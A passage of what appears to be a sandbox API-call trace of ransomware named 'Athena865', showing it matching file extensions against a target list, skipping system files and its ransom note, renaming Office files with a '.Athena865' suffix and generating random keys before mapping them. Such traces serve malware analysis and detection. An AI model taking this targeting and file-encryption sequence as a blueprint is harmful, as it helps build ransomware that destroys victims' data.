3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="maq") returned -1 [0143.186] lstrlenW (lpString="mar") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mar") returned -1 [0143.186] lstrlenW (lpString="marshal") returned 7 [0143.186] lstrcmpiW (lpString1="Y32.CHM", lpString2="marshal") returned 1 [0143.186] lstrlenW (lpString="mas") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mas") returned -1 [0143.186] lstrlenW (lpString="mav") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mav") returned -1 [0143.186] lstrlenW (lpString="maw") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="maw") returned -1 [0143.186] lstrlenW (lpString="mdbhtml") returned 7 [0143.186] lstrcmpiW (lpString1="Y32.CHM", lpString2="mdbhtml") returned 1 [0143.186] lstrlenW (lpString="mdn") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mdn") returned -1 [0143.186] lstrlenW (lpString="mdt") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mdt") returned -1 [0143.186] lstrlenW (lpString="mfd") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mfd") returned -1 [0143.186] lstrlenW (lpString="mpd") returned 3 [0143.186] lstrcmpiW (lpString1="CHM", lpString2="mpd") returned -1 [0143.187] lstrlenW (lpString="mrg") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="mrg") returned -1 [0143.187] lstrlenW (lpString="mud") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="mud") returned -1 [0143.187] lstrlenW (lpString="mwb") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="mwb") returned -1 [0143.187] lstrlenW (lpString="myd") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="myd") returned -1 [0143.187] lstrlenW (lpString="ndf") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="ndf") returned -1 [0143.187] lstrlenW (lpString="nnt") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="nnt") returned -1 [0143.187] lstrlenW (lpString="nrmlib") returned 6 [0143.187] lstrcmpiW (lpString1="32.CHM", lpString2="nrmlib") returned -1 [0143.187] lstrlenW (lpString="ns2") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="ns2") returned -1 [0143.187] lstrlenW (lpString="ns3") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="ns3") returned -1 [0143.187] lstrlenW (lpString="ns4") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="ns4") returned -1 [0143.187] lstrlenW (lpString="nsf") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="nsf") returned -1 [0143.187] lstrlenW (lpString="nv") returned 2 [0143.187] lstrcmpiW (lpString1="HM", lpString2="nv") returned -1 [0143.187] lstrlenW (lpString="nv2") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="nv2") returned -1 [0143.187] lstrlenW (lpString="nwdb") returned 4 [0143.187] lstrcmpiW (lpString1=".CHM", lpString2="nwdb") returned -1 [0143.187] lstrlenW (lpString="nyf") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="nyf") returned -1 [0143.187] lstrlenW (lpString="odb") returned 3 [0143.187] lstrcmpiW (lpString1="CHM", lpString2="odb") returned -1 [0143.187] lstrlenW (lpString="odb") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="odb") returned -1 [0143.188] lstrlenW (lpString="oqy") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="oqy") returned -1 [0143.188] lstrlenW (lpString="ora") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="ora") returned -1 [0143.188] lstrlenW (lpString="orx") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="orx") returned -1 [0143.188] lstrlenW (lpString="owc") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="owc") returned -1 [0143.188] lstrlenW (lpString="p96") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="p96") returned -1 [0143.188] lstrlenW (lpString="p97") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="p97") returned -1 [0143.188] lstrlenW (lpString="pan") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="pan") returned -1 [0143.188] lstrlenW (lpString="pdb") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="pdb") returned -1 [0143.188] lstrlenW (lpString="pdm") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="pdm") returned -1 [0143.188] lstrlenW (lpString="pnz") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="pnz") returned -1 [0143.188] lstrlenW (lpString="qry") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="qry") returned -1 [0143.188] lstrlenW (lpString="qvd") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="qvd") returned -1 [0143.188] lstrlenW (lpString="rbf") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="rbf") returned -1 [0143.188] lstrlenW (lpString="rctd") returned 4 [0143.188] lstrcmpiW (lpString1=".CHM", lpString2="rctd") returned -1 [0143.188] lstrlenW (lpString="rod") returned 3 [0143.188] lstrcmpiW (lpString1="CHM", lpString2="rod") returned -1 [0143.188] lstrlenW (lpString="rodx") returned 4 [0143.189] lstrcmpiW (lpString1=".CHM", lpString2="rodx") returned -1 [0143.189] lstrlenW (lpString="rpd") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="rpd") returned -1 [0143.189] lstrlenW (lpString="rsd") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="rsd") returned -1 [0143.189] lstrlenW (lpString="sas7bdat") returned 8 [0143.189] lstrcmpiW (lpString1="RY32.CHM", lpString2="sas7bdat") returned -1 [0143.189] lstrlenW (lpString="sbf") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="sbf") returned -1 [0143.189] lstrlenW (lpString="scx") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="scx") returned -1 [0143.189] lstrlenW (lpString="sdb") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="sdb") returned -1 [0143.189] lstrlenW (lpString="sdc") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="sdc") returned -1 [0143.189] lstrlenW (lpString="sdf") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="sdf") returned -1 [0143.189] lstrlenW (lpString="sis") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="sis") returned -1 [0143.189] lstrlenW (lpString="spq") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="spq") returned -1 [0143.189] lstrlenW (lpString="te") returned 2 [0143.189] lstrcmpiW (lpString1="HM", lpString2="te") returned -1 [0143.189] lstrlenW (lpString="teacher") returned 7 [0143.189] lstrcmpiW (lpString1="Y32.CHM", lpString2="teacher") returned 1 [0143.189] lstrlenW (lpString="tmd") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="tmd") returned -1 [0143.189] lstrlenW (lpString="tps") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="tps") returned -1 [0143.189] lstrlenW (lpString="trc") returned 3 [0143.189] lstrcmpiW (lpString1="CHM", lpString2="trc") returned -1 [0143.190] lstrlenW (lpString="trc") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="trc") returned -1 [0143.190] lstrlenW (lpString="trm") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="trm") returned -1 [0143.190] lstrlenW (lpString="udb") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="udb") returned -1 [0143.190] lstrlenW (lpString="udl") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="udl") returned -1 [0143.190] lstrlenW (lpString="usr") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="usr") returned -1 [0143.190] lstrlenW (lpString="v12") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="v12") returned -1 [0143.190] lstrlenW (lpString="vis") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="vis") returned -1 [0143.190] lstrlenW (lpString="vpd") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="vpd") returned -1 [0143.190] lstrlenW (lpString="vvv") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="vvv") returned -1 [0143.190] lstrlenW (lpString="wdb") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="wdb") returned -1 [0143.190] lstrlenW (lpString="wmdb") returned 4 [0143.190] lstrcmpiW (lpString1=".CHM", lpString2="wmdb") returned -1 [0143.190] lstrlenW (lpString="wrk") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="wrk") returned -1 [0143.190] lstrlenW (lpString="xdb") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="xdb") returned -1 [0143.190] lstrlenW (lpString="xld") returned 3 [0143.190] lstrcmpiW (lpString1="CHM", lpString2="xld") returned -1 [0143.190] lstrlenW (lpString="xmlff") returned 5 [0143.190] lstrcmpiW (lpString1="2.CHM", lpString2="xmlff") returned -1 [0143.190] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM.Athena865") returned 69 [0143.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm.athena865"), dwFlags=0x1) returned 1 [0143.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.192] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=513666) returned 1 [0143.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.193] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.193] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.193] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.193] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d990, lpName=0x0) returned 0x17c [0143.196] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d990) returned 0x2bb0000 [0143.219] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.220] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.220] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.220] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.221] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0143.225] CloseHandle (hObject=0x17c) returned 1 [0143.225] CloseHandle (hObject=0x154) returned 1 [0143.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.227] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x15d58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTINTL.DLL", cAlternateFileName="")) returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2=".") returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="..") returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="windows") returned -1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="bootmgr") returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="temp") returned -1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="pagefile.sys") returned -1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="boot") returned 1 [0143.227] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="ids.txt") returned 1 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="ntuser.dat") returned -1 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="perflogs") returned -1 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2="MSBuild") returned 1 [0143.228] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0143.228] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MSTINTL.DLL" | out: lpString1="MSTINTL.DLL") returned="MSTINTL.DLL" [0143.228] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0143.228] lstrlenW (lpString="Athena865") returned 9 [0143.228] lstrcmpiW (lpString1="TINTL.DLL", lpString2="Athena865") returned 1 [0143.228] lstrlenW (lpString=".dll") returned 4 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2=".dll") returned 1 [0143.228] lstrlenW (lpString=".lnk") returned 4 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2=".lnk") returned 1 [0143.228] lstrlenW (lpString=".ini") returned 4 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2=".ini") returned 1 [0143.228] lstrlenW (lpString=".sys") returned 4 [0143.228] lstrcmpiW (lpString1="MSTINTL.DLL", lpString2=".sys") returned 1 [0143.228] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0143.228] lstrlenW (lpString="bak") returned 3 [0143.228] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0143.228] lstrlenW (lpString="ba_") returned 3 [0143.228] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0143.228] lstrlenW (lpString="dbb") returned 3 [0143.228] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0143.228] lstrlenW (lpString="vmdk") returned 4 [0143.228] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0143.228] lstrlenW (lpString="rar") returned 3 [0143.228] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0143.228] lstrlenW (lpString="zip") returned 3 [0143.228] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0143.228] lstrlenW (lpString="tgz") returned 3 [0143.228] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0143.228] lstrlenW (lpString="vbox") returned 4 [0143.229] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0143.229] lstrlenW (lpString="vdi") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0143.229] lstrlenW (lpString="vhd") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0143.229] lstrlenW (lpString="vhdx") returned 4 [0143.229] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0143.229] lstrlenW (lpString="avhd") returned 4 [0143.229] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0143.229] lstrlenW (lpString="db") returned 2 [0143.229] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0143.229] lstrlenW (lpString="db2") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0143.229] lstrlenW (lpString="db3") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0143.229] lstrlenW (lpString="dbf") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0143.229] lstrlenW (lpString="mdf") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0143.229] lstrlenW (lpString="mdb") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0143.229] lstrlenW (lpString="sql") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0143.229] lstrlenW (lpString="sqlite") returned 6 [0143.229] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1 [0143.229] lstrlenW (lpString="sqlite3") returned 7 [0143.229] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1 [0143.229] lstrlenW (lpString="sqlitedb") returned 8 [0143.229] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1 [0143.229] lstrlenW (lpString="xml") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0143.229] lstrlenW (lpString="$er") returned 3 [0143.229] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0143.230] lstrlenW (lpString="4dd") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0143.230] lstrlenW (lpString="4dl") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0143.230] lstrlenW (lpString="^^^") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0143.230] lstrlenW (lpString="abs") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0143.230] lstrlenW (lpString="abx") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0143.230] lstrlenW (lpString="accdb") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0143.230] lstrlenW (lpString="accdc") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0143.230] lstrlenW (lpString="accde") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0143.230] lstrlenW (lpString="accdr") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0143.230] lstrlenW (lpString="accdt") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0143.230] lstrlenW (lpString="accdw") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0143.230] lstrlenW (lpString="accft") returned 5 [0143.230] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0143.230] lstrlenW (lpString="adb") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0143.230] lstrlenW (lpString="adb") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0143.230] lstrlenW (lpString="ade") returned 3 [0143.230] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0143.230] lstrlenW (lpString="adf") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0143.231] lstrlenW (lpString="adn") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0143.231] lstrlenW (lpString="adp") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0143.231] lstrlenW (lpString="alf") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0143.231] lstrlenW (lpString="ask") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0143.231] lstrlenW (lpString="btr") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0143.231] lstrlenW (lpString="cat") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0143.231] lstrlenW (lpString="cdb") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0143.231] lstrlenW (lpString="ckp") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0143.231] lstrlenW (lpString="cma") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0143.231] lstrlenW (lpString="cpd") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0143.231] lstrlenW (lpString="dacpac") returned 6 [0143.231] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1 [0143.231] lstrlenW (lpString="dad") returned 3 [0143.231] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0143.231] lstrlenW (lpString="dadiagrams") returned 10 [0143.231] lstrcmpiW (lpString1="STINTL.DLL", lpString2="dadiagrams") returned 1 [0143.231] lstrlenW (lpString="daschema") returned 8 [0143.231] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1 [0143.231] lstrlenW (lpString="db-journal") returned 10 [0143.231] lstrcmpiW (lpString1="STINTL.DLL", lpString2="db-journal") returned 1 [0143.232] lstrlenW (lpString="db-shm") returned 6 [0143.232] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1 [0143.232] lstrlenW (lpString="db-wal") returned 6 [0143.232] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1 [0143.232] lstrlenW (lpString="dbc") returned 3 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0143.232] lstrlenW (lpString="dbs") returned 3 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0143.232] lstrlenW (lpString="dbt") returned 3 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0143.232] lstrlenW (lpString="dbv") returned 3 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0143.232] lstrlenW (lpString="dbx") returned 3 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0143.232] lstrlenW (lpString="dcb") returned 3 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0143.232] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0143.232] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.Athena865") returned 69 [0143.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.athena865"), dwFlags=0x1) returned 1 [0143.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.234] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=89432) returned 1 [0143.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.235] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.235] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.235] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.236] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16060, lpName=0x0) returned 0x17c [0143.237] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16060) returned 0x100000 [0143.241] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.241] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.241] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.242] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.243] CloseHandle (hObject=0x17c) returned 1 [0143.243] CloseHandle (hObject=0x154) returned 1 [0143.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.244] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, 